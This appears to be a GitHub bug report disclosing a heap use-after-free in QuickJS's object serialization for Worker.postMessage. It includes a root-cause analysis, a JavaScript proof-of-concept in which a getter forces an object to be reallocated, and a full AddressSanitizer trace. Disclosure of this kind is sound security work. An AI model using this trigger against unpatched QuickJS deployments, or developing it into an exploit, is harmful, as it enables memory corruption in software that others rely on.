-
Notifications
You must be signed in to change notification settings - Fork 1k
Description
Rootcause: Property modifications in getter cause object shape reallocation
In QuickJS, in JS_WriteObjectRec, when serializing an object for Worker.postMessage(), the function first caches
the object pointer and then serializes its children:
case JS_TAG_OBJECT:
{
JSObject *p = JS_VALUE_GET_OBJ(obj);
int ret, idx;
// ... reference handling ...
p->tmp_mark = 1;
switch(p->class_id) {
case JS_CLASS_ARRAY:
ret = JS_WriteArray(s, obj);
break;
case JS_CLASS_OBJECT:
ret = JS_WriteObjectTag(s, obj);
break;
// ... other cases ...
}
p->tmp_mark = 0; // Line 37386 - USE AFTER FREE
The issue is, serializing child objects is not side-effect free. During JS_WriteArray() or JS_WriteObjectTag(), the
code calls JS_GetPropertyUint32() which can trigger property getters. An attacker-defined getter could run during
this call, during which properties could be added to the parent object. This triggers resize_properties() which
frees and reallocates the object, making the cached pointer p stale. This results in a use-after-free when
accessing p->tmp_mark = 0.
Call chain leading to UAF:
JS_WriteObjectRec (caches p)
→ JS_WriteArray (line 37352)
→ JS_GetPropertyUint32 (line 37160)
→ property getter executes
→ adds properties to parent object
→ resize_properties (line 4968) → free(p)
→ p->tmp_mark = 0 (line 37386) ← USE AFTER FREE
testcase:
import * as os from "os";
import * as std from "std";
const parentObj = {
prop1: "parent_value",
childArray: [1, 2, 3]
};
Object.defineProperty(parentObj.childArray, '1', {
get: function() {
for (let i = 0; i < 100; i++) {
parentObj[`newProp${i}`] = `value${i}`;
}
if (typeof std.gc === 'function') {
std.gc();
}
return 999;
},
enumerable: true,
configurable: true
});
const worker = new os.Worker("worker_script.js");
worker.postMessage(parentObj);
./qjs tc.js
==75682==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000005b58 at pc 0x0001046793c4 bp 0x00016b86e400 sp 0x00016b86e3f8
READ of size 4 at 0x608000005b58 thread T0
#0 0x1046793c0 in JS_WriteObjectTag quickjs.c:37197
#1 0x1045f807c in JS_WriteObjectRec quickjs.c:37355
#2 0x1045f6bb0 in JS_WriteObject2 quickjs.c:37460
#3 0x1047cbee0 in js_worker_postMessage quickjs-libc.c:3746
#4 0x10458f2b4 in js_call_c_function quickjs.c:17126
#5 0x1045c7c00 in JS_CallInternal quickjs.c:17321
#6 0x1045c9bb4 in JS_CallInternal quickjs.c:17722
#7 0x1046698fc in async_func_resume quickjs.c:20256
#8 0x1046b95a8 in js_async_function_resume quickjs.c:20529
#9 0x10460d2c0 in js_async_function_call quickjs.c:20623
#10 0x104671db0 in js_execute_sync_module quickjs.c:30646
#11 0x104670e48 in js_inner_module_evaluation quickjs.c:30755
#12 0x1045f525c in JS_EvalFunctionInternal quickjs.c:36341
#13 0x10458d104 in eval_buf qjs.c:62
#14 0x10458c9c4 in main qjs.c:519
#15 0x181671d50 in start+0x1c0c (dyld:arm64e+0x3d50)
0x608000005b58 is located 56 bytes inside of 96-byte region [0x608000005b20,0x608000005b80)
freed by thread T0 here:
#0 0x104dd8d40 in free+0x98 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x54d40)
#1 0x10463c184 in resize_properties quickjs.c:4968
#2 0x10463ba40 in add_shape_property quickjs.c:5058
#3 0x1045b87ac in add_property quickjs.c:8757
#4 0x1045b2c10 in JS_SetPropertyInternal quickjs.c:9389
#5 0x1045b52b0 in JS_SetPropertyValue quickjs.c:9556
#6 0x1045e160c in JS_CallInternal quickjs.c:19076
#7 0x1045a9db4 in JS_CallFree quickjs.c:20014
#8 0x1045ab698 in JS_GetPropertyInternal quickjs.c:7816
#9 0x1045b1aa0 in JS_GetPropertyValue quickjs.c:8632
#10 0x104678b10 in JS_WriteArray quickjs.c:37160
#11 0x1045f809c in JS_WriteObjectRec quickjs.c:37352
#12 0x1046791a8 in JS_WriteObjectTag quickjs.c:37210
#13 0x1045f807c in JS_WriteObjectRec quickjs.c:37355
#14 0x1045f6bb0 in JS_WriteObject2 quickjs.c:37460
#15 0x1047cbee0 in js_worker_postMessage quickjs-libc.c:3746
#16 0x10458f2b4 in js_call_c_function quickjs.c:17126
#17 0x1045c7c00 in JS_CallInternal quickjs.c:17321
#18 0x1045c9bb4 in JS_CallInternal quickjs.c:17722
#19 0x1046698fc in async_func_resume quickjs.c:20256
#20 0x1046b95a8 in js_async_function_resume quickjs.c:20529
#21 0x10460d2c0 in js_async_function_call quickjs.c:20623
#22 0x104671db0 in js_execute_sync_module quickjs.c:30646
#23 0x104670e48 in js_inner_module_evaluation quickjs.c:30755
#24 0x1045f525c in JS_EvalFunctionInternal quickjs.c:36341
#25 0x10458d104 in eval_buf qjs.c:62
#26 0x10458c9c4 in main qjs.c:519
#27 0x181671d50 in start+0x1c0c (dyld:arm64e+0x3d50)
previously allocated by thread T0 here:
#0 0x104dd8c04 in malloc+0x94 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x54c04)
#1 0x104621d08 in js_def_malloc quickjs.c:1747
#2 0x104623a60 in js_new_shape2 quickjs.c:4826
#3 0x10459fdf0 in JS_NewObjectProtoClass quickjs.c:5306
#4 0x1045d78b4 in JS_CallInternal quickjs.c:17457
#5 0x1046698fc in async_func_resume quickjs.c:20256
#6 0x1046b95a8 in js_async_function_resume quickjs.c:20529
#7 0x10460d2c0 in js_async_function_call quickjs.c:20623
#8 0x104671db0 in js_execute_sync_module quickjs.c:30646
#9 0x104670e48 in js_inner_module_evaluation quickjs.c:30755
#10 0x1045f525c in JS_EvalFunctionInternal quickjs.c:36341
#11 0x10458d104 in eval_buf qjs.c:62
#12 0x10458c9c4 in main qjs.c:519
#13 0x181671d50 in start+0x1c0c (dyld:arm64e+0x3d50)
SUMMARY: AddressSanitizer: heap-use-after-free quickjs.c:37197 in JS_WriteObjectTag
Shadow bytes around the buggy address:
0x608000005880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x608000005900: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x608000005980: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005a00: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005a80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x608000005b00: fa fa fa fa fd fd fd fd fd fd fd[fd]fd fd fd fd
0x608000005b80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005c00: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005c80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005d00: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x608000005d80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==75682==ABORTING